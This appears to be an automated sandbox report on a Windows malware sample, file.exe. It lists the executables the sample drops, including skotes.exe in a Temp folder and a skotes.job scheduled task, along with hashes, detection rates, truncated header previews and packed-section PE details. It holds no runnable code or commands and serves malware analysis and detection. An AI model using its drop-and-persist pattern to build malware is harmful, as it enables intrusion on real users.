Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593672335633141
Encrypted:	false
SSDEEP:	12288:sqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDganTF:sqDEvCTbMWu7rQYlBQcBiT6rprG8aTF
MD5:	2C54882BE674E76F31F1F13CFD331D55
SHA1:	E33E4A54E11CC4EDA645FFADFEDF17F57DECF4F8
SHA-256:	F2C117FE2B73781335A3B701890AD7B61DC1970B2A25BE7FD4ED6A2B3264D308
SHA-512:	64816D2518652E80748738B103258833F62EE88714BDF02FB376861C1736F5DFADEE4D52F61849BC8BB471E9F5D5A4424D982CC8BD10EFBA3739F29E07104869
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...b.Bg.........."..........f......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2833920
Entropy (8bit):	6.479831365924213
Encrypted:	false
SSDEEP:	24576:hwzVA8ZIvyz+Xq/e9jwN3nZuRq0yaIGLVijgqLtabdki00ShcvgkFgVIHJqfrwf+:H4I6CLM+y0Bz9f282UnoulCVPsBG9
MD5:	9835CBFE3DC7AE0FEE6A1F29ECEAD86F
SHA1:	C12EA6931EDF523DD704FCC85B943B45968B2DAA
SHA-256:	43B97C1DC396C9492F6E13786F748EE59CFCAB42EEBCF7D9FF3A959940AAB53B
SHA-512:	9EA4BE09D4CC6BF3168F79BCBFFA608411A6BA5EBBF82DEDA4D81ACBD418122941C699E36AC193E4006AAF245E780E25725C6C6C803DA2E7388D7392782CF13E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xnvlzrcj...........:..............@...qpgaermy. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1864192
Entropy (8bit):	7.9482971620928025
Encrypted:	false
SSDEEP:	49152:f2WQLeJOxsLgCUbwqBgOlr3LaaQsxkw6k3Jb9Agk0B8r:+leJO6gDbwqBj5+LokRk3Jb9e
MD5:	BD3C9426F58B0AA58A0622B721F7C17F
SHA1:	AADBFB4FCC6A8C76B8CC15A62D8E2D7D139A09F6
SHA-256:	715223F9D8CBFF4640796F95054A54AABA8A06C7215D167A13D9F1EBF8BC1F17
SHA-512:	9DE240534DEB097953F8971BC716384C9E4118D4FBD7DE5BF943408C9A92E610542538B2F9396D8BF3FAB679837D22A8201CAD3973FA07D44664A882D8A02C15
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I......~....@.................................W...k.......D...................P.I...............................I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...ewxlggpv.`...@0..V..................@...agnuswsr......I......L..............@....taggant.0....I.."...P..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 08:24:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.97621466264741
Encrypted:	false
SSDEEP:	48:8pdATkkAHQidAKZdA19ehwiZUklqehvty+3:8svPGy
MD5:	68AA9923770EA8E3FE5BCF95C22B7B47
SHA1:	DD1DC004CBBB96D807AD037D1370804F630A7F38
SHA-256:	D3FCFD9C4CCD1BB08FB7DFC1E5C1DA7045E91023D152E5637752D50668724104
SHA-512:	D596401C1296699365F8699343F30EBDE5A4F3AE5A7535A3B0E6FFBE4A4743DCB316925A47B925CC31A73986DAD797335A5EA8A3D6FF250D98183EAB2A764527
Malicious:	false
Preview:	L..................F.@.. ...$+.,.... ..R>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.K...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 08:24:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.99310980832214
Encrypted:	false
SSDEEP:	48:8ydATkkAHQidAKZdA1weh/iZUkAQkqehwty+2:85v19Qby
MD5:	9D4DB8F288B6C999DE64CB289F58ED41
SHA1:	6D3C846A60D5AFA4421C1C887AE5BA0C98734707
SHA-256:	E0186DBDDDCB7025AA809832331AF97F4F2180ED43A45C917282A2C248EF06FD
SHA-512:	6CC0A0539037B4161C531674F6FCF07D71E6331CB09084393A78FF9743986A583A84CFC0F4F3E591B33C6DD3263109D819195011EC16011BF6F8FB0A11F8CBC1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....A..R>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.K...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003647573478257
Encrypted:	false
SSDEEP:	48:8xtdATkksHQidAKZdA14tseh7sFiZUkmgqeh7s6ty+BX:8xgvZnqy
MD5:	A07E9E534681A379DF88FB1CAA714B01
SHA1:	895EC3F64C769E7C5F32F2A78BA520653BF14F89
SHA-256:	3F7911097A6189409593A3905D1A762EA3664137C09166B4DE9C81DAAB442A32
SHA-512:	666EDC7FABD7C9FC74BB4B38ED44CB04A6AE02AE6D3295CB809E54D2C434E28FCBFA84D9D9A82D148438372C72D1FAB2A7CFB7DB1A703942E5AF6AC357F5E00D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 08:24:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991265905107005
Encrypted:	false
SSDEEP:	48:86dATkkAHQidAKZdA1vehDiZUkwqeh8ty+R:8RvW8y
MD5:	F37E736D002E9D121848A92F3AE738E3
SHA1:	DE8F12CE60B283F0A94F14D8F1D2AC03FDC33758
SHA-256:	51C1E945175E6858BA4F12405C827B563DA7CD663F5A66756887FF1425D1F38F
SHA-512:	CACF836E01AEB3442B321E02990F02EB13640D01E27B66DE7668991E5717DB9FD898B42D78D799C661C2FB267E8F0C49F2410A067D4625C4D5E5C81BB02DBBA1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....q...R>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.K...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 08:24:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9798451345327797
Encrypted:	false
SSDEEP:	48:86dATkkAHQidAKZdA1hehBiZUk1W1qeh+ty+C:8Rv294y
MD5:	3C4E9574828D1ACE31CC715C7E1BA6D7
SHA1:	44704783FC605DA565A8D72F2FD2790E730D7530
SHA-256:	7C4EAB4E52871D3F59E3FC68D5E4858D20F4141866DF3C1EB0948ED223C8A670
SHA-512:	447CE3076EF125795624CB9366426548B215634504F06F21338E1A7E54F0CC5151132EACFD77366AB350F9F9F5F45F9AFDA7783C3C2C0380BE7AB7C62C46C761
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....7.R>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.K...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 08:24:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.99081595705954
Encrypted:	false
SSDEEP:	48:8edATkkAHQidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUty+yT+:8FvIT/TbxWOvTbqy7T
MD5:	2B1974DB381B096E51CF070EE25FBFEF
SHA1:	874B0B11FF5644BAFFB4CD4B012737DBACCC1EE2
SHA-256:	2E47C084143AC16F3FD4F3FAFD495D6B590B75F8FA0F3F01EE2CD6827DF1F21D
SHA-512:	BB80C6F1225F3BA6E0DD197D4B9E9430FD14B1BF9574C6617FADFAFDEF1AE6FCF53BD37E5796B0D217065E86FE386EBADE12AFD2A70926F7CA3F375B6CE0C3D1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....QM..R>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY.K....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.K....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY.K....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY.K..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.K...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o..v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509180030924649
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6JJ0aX+H6SEXK5kHWNBw8d4Sl:PPeAJUapHEwX0
MD5:	13A52B8C24838B63D197FDB0965A516F
SHA1:	725E1805F9A423B6656D14347CEE146864A02A8B
SHA-256:	A6ADEF9115AAFB3F5BA1D883AE1D3F314556065AD3A1CEB2D41B07EA84D1E095
SHA-512:	32200C58A35924E0B34CDF44DF3DCC3A8FD726A604ADEA95AEE9879DFC56633A0098194B5666B13ED55D90AF5D59257AE71C9AEB81E1CCF678CBAAFC94A97603
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509180030924649
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6JJ0aX+H6SEXK5kHWNBw8d4Sl:PPeAJUapHEwX0
MD5:	13A52B8C24838B63D197FDB0965A516F
SHA1:	725E1805F9A423B6656D14347CEE146864A02A8B
SHA-256:	A6ADEF9115AAFB3F5BA1D883AE1D3F314556065AD3A1CEB2D41B07EA84D1E095
SHA-512:	32200C58A35924E0B34CDF44DF3DCC3A8FD726A604ADEA95AEE9879DFC56633A0098194B5666B13ED55D90AF5D59257AE71C9AEB81E1CCF678CBAAFC94A97603
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4144315649675168
Encrypted:	false
SSDEEP:	6:QR2UzV/VX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB9ll6ct0:QR2UzTuQ1CGAFifXVBHAct0
MD5:	23A78C508FFCC7B5645F6C896908A999
SHA1:	D685D39C7D0ACD8617A62EBBF5606F1C255156A6
SHA-256:	1F20C1DE3EE39CAEE42911C4C75F56BB554826A9E0A2731027FE30B5615AD742
SHA-512:	CAA153E6E5B081FEF18987010420AD4202201B9C8E2E0D829CD8CCC46DA93B6F7473982F48A1723B825DCB35136BF16273E41F0319C77C2F230F47729FE6CD1B
Malicious:	false
Preview:	........L...].P..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9482971620928025
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'864'192 bytes
MD5:	bd3c9426f58b0aa58a0622b721f7c17f
SHA1:	aadbfb4fcc6a8c76b8cc15a62d8e2d7d139a09f6
SHA256:	715223f9d8cbff4640796f95054a54aaba8a06c7215d167a13d9f1ebf8bc1f17
SHA512:	9de240534deb097953f8971bc716384c9e4118d4fbd7de5bf943408c9a92e610542538b2f9396d8bf3fab679837d22a8201cad3973fa07d44664a882d8a02c15
SSDEEP:	49152:f2WQLeJOxsLgCUbwqBgOlr3LaaQsxkw6k3Jb9Agk0B8r:+leJO6gDbwqBj5+LokRk3Jb9e
TLSH:	0485336066174338D306C67A0E43BFC7F837EB12F2E15281CB5A616A51AF1263E73B95
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1AA0B5868Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x499450	0x10	ewxlggpv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x499400	0x18	ewxlggpv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	4ad633155186538d029cde1ca950ec09	False	0.9981479904632152	data	7.978678051292189	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
